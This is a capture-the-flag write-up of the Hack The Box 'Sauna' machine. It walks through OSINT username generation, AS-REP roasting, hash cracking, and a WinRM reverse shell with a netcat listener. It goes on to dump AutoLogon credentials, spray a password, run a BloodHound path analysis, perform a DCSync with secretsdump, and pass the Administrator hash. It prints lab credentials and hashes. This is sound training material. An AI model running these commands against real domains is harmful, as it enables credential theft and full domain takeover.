HTB - Sauna
Target IP: 10.129.95.180
Domain: EGOTISTICAL-BANK.LOCAL
DC Hostname: SAUNA.EGOTISTICAL-BANK.LOCAL
OS: Windows Server 2019
Difficulty: Easy
Assumed Breach: No - initial access via OSINT username enumeration
Author: [g1nt0n1x]
1. Phase 1: Reconnaissance & Information Gathering
1.1 TCP Port Discovery
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL)
5985/tcp open http Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf .NET Message Framing
| smb2-security-mode:
|_ Message signing enabled and required
Port Analysis & Attack Surface
| Port | Service | Notes |
|---|---|---|
| 80/tcp | HTTP / IIS 10.0 | Company website - potential OSINT source |
| 88/tcp | Kerberos | Domain Controller confirmed |
| 389/tcp | LDAP | Domain: EGOTISTICAL-BANK.LOCAL |
| 445/tcp | SMB | Signing required - relay attacks blocked |
| 5985/tcp | WinRM | Remote shell entry point |
Port 80 stands out immediately on a DC - it is a web server we can browse for information. No SMB guest/null session tested here because port 80 gives us a better lead.
2. Phase 2: OSINT - Username Harvesting from the Website
2.1 Browse the Company Website
The IIS server hosts a static company site for “Egotistical Bank.” All pages are static and forms are non-functional - typical HTB web filler. However, the About Us page lists the employee team:
Fergus Smith
Shaun Coins
Bowie Taylor
Sophie Driver
Steven Kerb
Hugo Bear
These are real names of likely domain users. We do not know the AD username format yet (could be fsmith, fergus.smith, fergussmith, f.smith, etc.).
2.2 Generate Username Candidates with username-anarchy
username-anarchy takes real names and generates every common username format derived from them. This is exactly the right tool when you have names but no confirmed naming convention.
# Save the names
cat > usernames.txt << EOF
Fergus Smith
Shaun Coins
Bowie Taylor
Sophie Driver
Steven Kerb
Hugo Bear
EOF
# Generate all username format variations
./username-anarchy -i usernames.txt > possible-usernames.txtThis produces candidates like: fergus, fsmith, fergus.smith, f.smith, smithf, ferguss, etc. - dozens of variations per name.
3. Phase 3: AS-REP Roasting with Username Enumeration
Instead of first confirming which usernames are valid and then AS-REP roasting separately, we can do both in one step. nxc --asreproast will attempt an AS-REP request for every username in the list - accounts that exist AND have pre-auth disabled will return a crackable hash. Accounts that don’t exist simply return KDC_ERR_C_PRINCIPAL_UNKNOWN and are skipped silently.
nxc ldap 10.129.95.180 -u possible-usernames.txt -p '' --asreproast asreproast.txt
# $krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:60e37f91...Two things learned from this single command:
- The username
fsmithexists in AD (naming convention = first initial + last name) fsmithhas Kerberos pre-authentication disabled - we have a crackable AS-REP hash
3.1 Crack the AS-REP Hash
# -m 18200: Kerberos 5 AS-REP etype 23 (RC4)
hashcat -m 18200 asreproast.txt /usr/share/wordlists/rockyou.txt -O --force
# fsmith:Thestrokes233.2 Validate & Establish Shell
nxc winrm 10.129.95.180 -u fsmith -p Thestrokes23
# [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)Using nxc-shell (custom tool) for a fast reverse shell via WinRM - lighter than evil-winrm, no upload/download but quick for initial access:
nxc-shell nishang winrm 10.129.95.180 -u fsmith -p Thestrokes23
# listener: rlwrap nc -lvnp 8100
# whoami: egotisticalbank\fsmithOr via evil-winrm for full functionality:
evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes234. Phase 4: Local Enumeration - AutoLogon Credentials
4.1 Run winPEAS
upload /usr/share/peass/winpeas/winPEASx64.exe
./winPEASx64.exe > winPEAS_sauna.txt
type winPEAS_sauna.txt4.2 AutoLogon Credentials in Registry
winPEAS flags a critical finding:
Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!
Windows AutoLogon stores credentials in the registry at:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
These are stored in plaintext so Windows can log in automatically at boot - no encryption, no protection beyond the registry ACL. Any local admin (or user with SeBackupPrivilege) can read them.
4.3 Username Mismatch - Always Enumerate Users
The credentials svc_loanmanager:Moneymakestheworldgoround! fail to authenticate. The username stored in AutoLogon does not match the actual AD account. Enumerate all domain users to find the real name:
nxc smb 10.129.95.180 -u fsmith -p Thestrokes23 --users
# HSmith
# FSmith
# svc_loanmgr <--- NOT svc_loanmanagerThe AutoLogon entry was set with the wrong username (svc_loanmanager) but the password belongs to svc_loanmgr. Password spray confirms it:
nxc smb 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
# [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!Lesson: When a credential fails, always enumerate the real user list and spray the password - typos in AutoLogon, descriptions, and scripts are common.
5. Phase 5: BloodHound Enumeration
With svc_loanmgr credentials, collect BloodHound data using RustHound-CE - a fast, reliable Rust-based ingestor:
rusthound-ce -i 10.129.95.180 -d EGOTISTICAL-BANK.LOCAL \
-u svc_loanmgr -p 'Moneymakestheworldgoround!' -c All -z -vUpload the zip to BloodHound CE. BloodHound workflow:
- Search for Domain Users - show all members
- Right-click each owned account - set as Owned
- Cypher tab - run “Shortest Paths from Owned Objects to Tier Zero”
- Investigate the result
Finding: svc_loanmgr has DCSync rights on the domain (GetChanges + GetChangesAll extended rights on the domain root).
6. Phase 6: DCSync - Domain Admin
python /usr/share/doc/python3-impacket/examples/secretsdump.py \
EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.95.180
# [*] Using the DRSUAPI method to get NTDS.DIT secrets
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::Note: The
RemoteOperations failed: rpc_s_access_deniederror at the start is normal - secretsdump tries a registry-based method first, falls back to DRSUAPI when that fails. The DRSUAPI DCSync still succeeds.
6.1 Validate & Shell as Administrator
nxc smb 10.129.95.180 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e
# [+] EGOTISTICAL-BANK.LOCAL\administrator:823452073d75b9d1cf70ebdf86c7f98e (Pwn3d!)
nxc-shell nishang smb 10.129.95.180 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e
# whoami: egotisticalbank\administratorDomain compromised.
Deep Dive: OSINT Username Generation
When you have real names from a website, LinkedIn, or email signature but no confirmed usernames, username-anarchy is the fastest way to generate a complete candidate list. It knows every common corporate username format:
| Format | Example (Fergus Smith) |
|---|---|
first | fergus |
f.last | f.smith |
first.last | fergus.smith |
flast | fsmith |
lastf | smithf |
first_last | fergus_smith |
last | smith |
On a real engagement, the naming convention is often confirmed from one cracked account - then you generate a proper list for that format only. On HTB, AS-REP roasting the full candidate list is the fastest approach: the KDC confirms valid usernames implicitly via the error codes it returns.
Using AS-REP Roasting as a Username Oracle
The Kerberos AS-REQ exchange leaks whether a username exists:
| KDC Response | Meaning |
|---|---|
KDC_ERR_C_PRINCIPAL_UNKNOWN | Username does not exist |
KDC_ERR_PREAUTH_REQUIRED | Username exists, pre-auth IS required (not vulnerable) |
AS-REP hash returned | Username exists, pre-auth is NOT required (vulnerable - crack it) |
nxc’s --asreproast silently filters the first two cases and only outputs hashes. This means you can dump a list of 500 candidate usernames, get back only the valid + vulnerable ones, and never see the noise.
Deep Dive: AutoLogon Credentials
Windows AutoLogon allows a machine to log in automatically at boot without user interaction. It stores the credentials unencrypted in the registry:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
DefaultUserName = domain\username
DefaultPassword = plaintext_password
AutoAdminLogon = 1
Why It’s a Critical Finding
- Plaintext storage - the password is not hashed, not encrypted, not protected beyond the registry ACL
- Readable by local admins - anyone who achieves local admin (or SeBackupPrivilege) can read
HKLM\SOFTWARE - Often service account credentials - AutoLogon is typically set for kiosk machines or servers that need to auto-start services under a specific account - those accounts often have elevated domain privileges
How winPEAS Finds It
winPEAS reads the Winlogon registry key directly and outputs any non-empty DefaultPassword values. This is one of the first things to check after gaining local admin - it takes milliseconds and frequently yields domain credentials.
The Typo Pattern
The svc_loanmanager vs svc_loanmgr mismatch is a real-world pattern. Admins who set AutoLogon often:
- Mistype the username when configuring it
- Set it before the account was renamed
- Copy a username from memory incorrectly
The stored password is still valid - it just needs the correct username. Always spray a recovered password against the full user list before dismissing it as wrong.
Deep Dive: RustHound-CE vs SharpHound
RustHound-CE is a BloodHound ingestor written in Rust. Compared to the default SharpHound (C#):
| Property | SharpHound | RustHound-CE |
|---|---|---|
| Language | C# (.NET) | Rust |
| Execution | Runs on target (upload needed) or via nxc | Runs on Kali directly |
| AV detection | High - well-known binary | Lower - less commonly signatured |
| Speed | Fast | Very fast |
| Remote operation | Needs credentials + network access | Yes - runs from attacker machine |
| Output | BloodHound-compatible ZIP | BloodHound-compatible ZIP |
The key advantage for HTB/pentest: RustHound-CE runs entirely from your Kali machine over the network. No upload to the target needed, no AV evasion required.
# Full collection from Kali, no target-side execution
rusthound-ce -i <dc-ip> -d <domain> -u <user> -p <pass> -c All -z -vDeep Dive: secretsdump RemoteOperations Error
When you run secretsdump, you may see this at the start:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
This is not a failure. secretsdump tries two methods in sequence:
-
RemoteOperations (registry method) - connects via SMB to the
RemoteRegistryservice and dumps SAM/LSA secrets that way. Requires RemoteRegistry to be running and specific access rights. This often fails on DCs. -
DRSUAPI (DCSync method) - uses the directory replication protocol to pull credentials. This is what actually runs when you see
[*] Using the DRSUAPI method to get NTDS.DIT secrets.
The error on step 1 is expected and harmless when step 2 succeeds. The full domain credential dump still completes.
Key Takeaways & Checklist
- A web server on a DC is an OSINT opportunity - employee names from “About Us” pages become username candidates
- username-anarchy converts real names into every possible AD username format - feed the full list to
--asreproast - AS-REP roasting doubles as username enumeration - the KDC response codes implicitly confirm which names exist
- winPEAS AutoLogon check is mandatory after every initial shell - plaintext credentials stored in registry are common
- When credentials fail, enumerate the real user list and spray the password - typos in AutoLogon usernames are a real pattern
- After every new credential, run BloodHound - DCSync rights are often missed without graph-based analysis
secretsdump.py RemoteOperations failedis not an error - DRSUAPI fallback still dumps everything- RustHound-CE runs from Kali over the network - no upload to target needed, lower AV exposure than SharpHound